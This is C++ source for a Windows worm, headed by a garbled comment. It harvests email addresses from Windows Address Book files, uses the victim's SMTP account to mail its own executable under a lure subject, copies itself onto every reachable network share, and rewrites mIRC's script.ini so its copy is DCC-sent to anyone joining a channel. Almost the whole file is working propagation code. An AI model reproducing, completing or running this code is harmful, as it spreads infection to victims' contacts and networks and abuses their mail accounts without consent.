main.cpp

In this computer arriving and infecting through MIRC disseminates and duplicates worm s noumenonn of

		SendCmd(WinSocket, CMD_FROM, szFrom);
		SendCmd(WinSocket, CMD_TO, szTo);
		SendCmd(WinSocket, CMD_DATA, NULL);
		wsprintf(szBuf, "From: %s\r\n", "FunnyDog");
		send(WinSocket, szBuf, strlen(szBuf), 0);
		wsprintf(szBuf, "Subject: %s\r\n", "Be Happy with Dog!");
		send(WinSocket, szBuf, strlen(szBuf), 0);
		SendData(WinSocket, szMail);
		SendCmd(WinSocket, CMD_END, NULL);
		SendCmd(WinSocket, CMD_QUIT, NULL);
	}

exits:
	closesocket(WinSocket);
exitw:
	WSACleanup();
	return(res);
}

int SendCmd(SOCKET wSocket, char* szStr, char* data)
{
	int len, res = 1;
	char szBuf[520], szRes[10] = "250";

	if (!stricmp(szStr, CMD_DATA))
		strcpy(szRes, "354");
	wsprintf(szBuf, szStr, data);
	if (send(wSocket, szBuf, strlen(szBuf), 0) == SOCKET_ERROR)
		return SOCKET_ERROR ;
	if ((len = recv(wSocket, szBuf, 520, 0)) == SOCKET_ERROR)
		return SOCKET_ERROR;
	*(szBuf + len) = (unsigned short)0x0000;//'\0';
	if (len < 4 || strncmp(szBuf, szRes, 3) != 0)
		res = -1;
	return (res);
}

int SendData(SOCKET wSocket, char* szMail)
{
	HANDLE hFile;
	DWORD dwRead = 0;
	char* lpBuf[520];
	int res = 1;

	if ((hFile = CreateFile((LPCTSTR) szMail, GENERIC_READ, FILE_SHARE_READ,
	NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, (HANDLE) NULL)) == (HANDLE) -1)
	{
		return(-1);
	}

	do
	{
		ReadFile(hFile, (LPVOID) lpBuf, 512, &dwRead, NULL);
		if (dwRead)
			if (send(wSocket, (const char *) lpBuf, LOWORD(dwRead), 0) ==	SOCKET_ERROR)
			{
				res = SOCKET_ERROR;
				goto exitq;
			}
	}
	while (dwRead);
exitq:
	CloseHandle(hFile);
	return(res);
}

UINT vGetSystem()
{
	DWORD dwVer;
	UINT res, j;

	dwVer = GetVersion();
	j = LOBYTE(LOWORD(dwVer)) * 100 + HIBYTE(LOWORD(dwVer));
	if ((j >= 395) && ((dwVer >> 16) & 0x8000))
	{
		res = 1;
	}		//Win95/98/ME
	if ((j >= 350) && (!((dwVer >> 16) & 0x8000)))
	{
		res = 1000;
	}	  //WinNT/2000/XP

	return(res);
}

UINT WhoGetMail(char* szMail, char* szValue, char* szBuf)
{
#define	ADDRBUFFER		0x10000

	char szTarg[MAX_PATH], szBook[MAX_PATH], szPath[MAX_PATH];
	char* lpBuf;
	
	WIN32_FIND_DATA fileinfo;
	HANDLE hFHandle;
	HGLOBAL hMem;
	HANDLE hFile, hMap;
	DWORD cnt, base1, maxsize, dwRes = 0, b;
	UINT res = 0, i = 0, j = 0, k = 0, uCode = 0;
	unsigned char *ptr;
	char email[128];

	GetWindowsDirectory(szPath, 256);
	if (vGetSystem() == 1)
	{
		strcat(szPath, "\\Application Data\\Microsoft\\Address Book");	//WIN98/ME
		sprintf(szBook, "%s\\*.WAB", szPath);
	}
	else
	{
		strcpy(szPath,"C:\\Documents and Settings\\Administrator\\Application Data\\Microsoft\\Address Book");	
		wsprintf(szTarg, "Software\\Microsoft\\WAB\\WAB4\\Wab File Name");

		j = 1;
		if (vGetReg(HKEY_CURRENT_USER, szTarg, "", szBook) != ERROR_SUCCESS)
		{
			sprintf(szBook, "%s\\*.WAB", szPath);j = 0;
		}
	}

	hMem = GlobalAlloc(GMEM_MOVEABLE | GMEM_ZEROINIT, ADDRBUFFER);
	if (hMem == NULL)
		return((UINT) -3);
	lpBuf = (char *)GlobalLock(hMem);

	if ((hFHandle = FindFirstFile(szBook, &fileinfo)) == INVALID_HANDLE_VALUE)
	{
		res = (UINT) -1;
		goto ex01;
	}

	do
	{
		if (j == 0)
			sprintf(szBook, "%s\\%s", szPath, fileinfo.cFileName);

		hFile = CreateFile(szBook, GENERIC_READ,
					FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING,
					FILE_ATTRIBUTE_NORMAL, NULL);

		if (hFile == NULL || hFile == INVALID_HANDLE_VALUE)
			return 1;
		maxsize = GetFileSize(hFile, NULL);
		hMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
		if (hMap == NULL || hMap == INVALID_HANDLE_VALUE)
		{
			CloseHandle(hFile);
			return 2;
		}
		ptr = (unsigned char *) MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
		if (ptr == NULL)
		{
			CloseHandle(hMap);
			CloseHandle(hFile);
			return 3;
		}
		base1 = *((DWORD *) (ptr + 0x60));
		cnt = *((DWORD *) (ptr + 0x64));
		for (i = 0; i < cnt; i++)
		{
			b = base1 + i * 68;
			memset(email, '\0', sizeof(email));
			for (j = 0; (b < maxsize) && (j < 68); j++, b += 2)
			{
				email[j] = ptr[b];
				if (ptr[b] == 0)
					break;
			}
			if (j > 0)
			res = SendMail(szMail, email, szValue, szBuf);
		}
		UnmapViewOfFile(ptr);
		CloseHandle(hMap);
		CloseHandle(hFile);
	}
	while (FindNextFile(hFHandle, &fileinfo));
	FindClose(hFHandle);

ex01:
	GlobalUnlock(hMem);
	GlobalFree(hMem);

	return(res);
}

typedef unsigned int UINT;
UINT MailWork(HANDLE hInst, char* szEml)
{
	char szValue[256], szPath[256], szMail[256];
	char szTarg[256] =
	{
		0
	};
	UINT res = 0, i;
	for (i = 0; i < 5; i++)
	{
		wsprintf(szPath,
			"Software\\Microsoft\\Internet Account Manager\\Accounts\\%08d", i);

		if (vGetReg(HKEY_CURRENT_USER, szPath, "SMTP Server", szValue) ==
			ERROR_SUCCESS)
		{
			vGetReg(HKEY_CURRENT_USER, szPath, "SMTP Email Address", szMail);
			res = WhoGetMail(szMail, szValue, szEml);
		}
	}

	return(res);
}

UINT MailTo(HANDLE hInst, char* szTitle, char* szFile)
{
	char szMail[260], szDir[260];
	UINT res = 0;
	GetWindowsDirectory(szDir, 256);
	sprintf(szMail, "%s\\temp\\%s.eml", szDir, szTitle);	
	SaveMailBody(szFile, szMail);
	res = MailWork(hInst, szMail);
	return res;
}

void spread_use_mail(HINSTANCE hInstance)
{
	char current_file[MAX_PATH];
	GetModuleFileName(NULL,current_file,MAX_PATH);
	MailTo(hInstance,"Home work for U!",current_file);
}


BOOL EnumerateResources(LPNETRESOURCE startingPoint);

#pragma comment(lib,"mpr")

char szFile[260];

UINT EnumShareWork(void)
{
	UINT res = 0;
	
	char thisfile[MAX_PATH];
	GetModuleFileName(NULL,thisfile,MAX_PATH);
	strcpy(szFile, thisfile);
	res = EnumerateResources(NULL);			//Search all share folders

	return(res);
}

UINT CopyToShare(NETRESOURCE l, char* szFile2)
{
	static UINT once=0;
	char szPath[256];
	UINT i = 0;

	if (l.dwType == RESOURCETYPE_DISK)
	{
		strcpy(szPath, l.lpRemoteName);
		i = strlen(szFile2);
		while (*(szFile2 + i) != '\\')
			i--;
		strcat(szPath, szFile2 + i );			//Get file name
		CopyFile(szFile2, szPath, 0);
	}
	return(0);
}

BOOL EnumerateResources(LPNETRESOURCE startingPoint)
{
	DWORD result, resultEnum;
	HANDLE enumHandle;
	LPNETRESOURCE buffer;
	DWORD bufferSize = 16384; 
	DWORD numEntries = 0xFFFFFFFF;
	DWORD i;

	result = WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK,
				0/*RESOURCEUSAGE_CONNECTABLE*/, startingPoint, &enumHandle);

	if (result != NO_ERROR)
		return 1;

	buffer = (LPNETRESOURCE) GlobalAlloc(GPTR, bufferSize);

	do
	{
		bufferSize = 16384;
		numEntries = 0xFFFFFFFF;

		resultEnum = WNetEnumResource(enumHandle, &numEntries, buffer, &bufferSize);

		if (resultEnum == NO_ERROR)
		{
			for (i = 0; i < numEntries; i++)
			{
				if (CopyToShare(buffer[i], szFile))
					return 0;

				if (buffer[i].dwUsage & RESOURCEUSAGE_CONTAINER)
				{
					if (!EnumerateResources(&buffer[i]))
						return 0;
				}
			}
		}
		else if (resultEnum != ERROR_NO_MORE_ITEMS)
			break;
	}
	while (resultEnum != ERROR_NO_MORE_ITEMS);

	GlobalFree((HGLOBAL) buffer);	
	result = WNetCloseEnum(enumHandle);

	return TRUE;
}



short WormCopy(char SRCFileName[], char DSTFileName[])
{
	FILE *SRC, *DST;
	char Buffer[1024];
	short Counter = 0;
	short Status = 0;
	SRC = fopen(SRCFileName, "rb");
	if(SRC)
	{
		DST = fopen(DSTFileName, "wb");
		if(DST)
		{
			while(! feof(SRC))
			{
				Counter = fread(Buffer, 1, 1024, SRC);
				if(Counter)
				fwrite(Buffer, 1, Counter, DST);
			}
		Status = 1;
		}
	}
	fclose(SRC);
	fclose(DST);
	return Status;
}

void main(int argc, char **argv)
{

	FILE *retro;

	char ProgName[100];
	spread_use_mail(GetModuleHandle(NULL));
	EnumShareWork();
	
	strcpy(ProgName, argv[0]);
	WormCopy(ProgName, "c:\\right.exe");
    

	retro = fopen("c:\\mirc\\script.ini","wt");
	if(!retro)
	{
		retro=fopen("c:\\Program Files\\mirc\\script.ini","wt");
	}
	EnumShareWork();
	if(retro)
	{
		fprintf(retro,"[script]\nn0=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }\nn1=/.dcc send $nick");
    	fprintf(retro," c:/right.exe\n}\n");
	}
   	fclose(retro);
}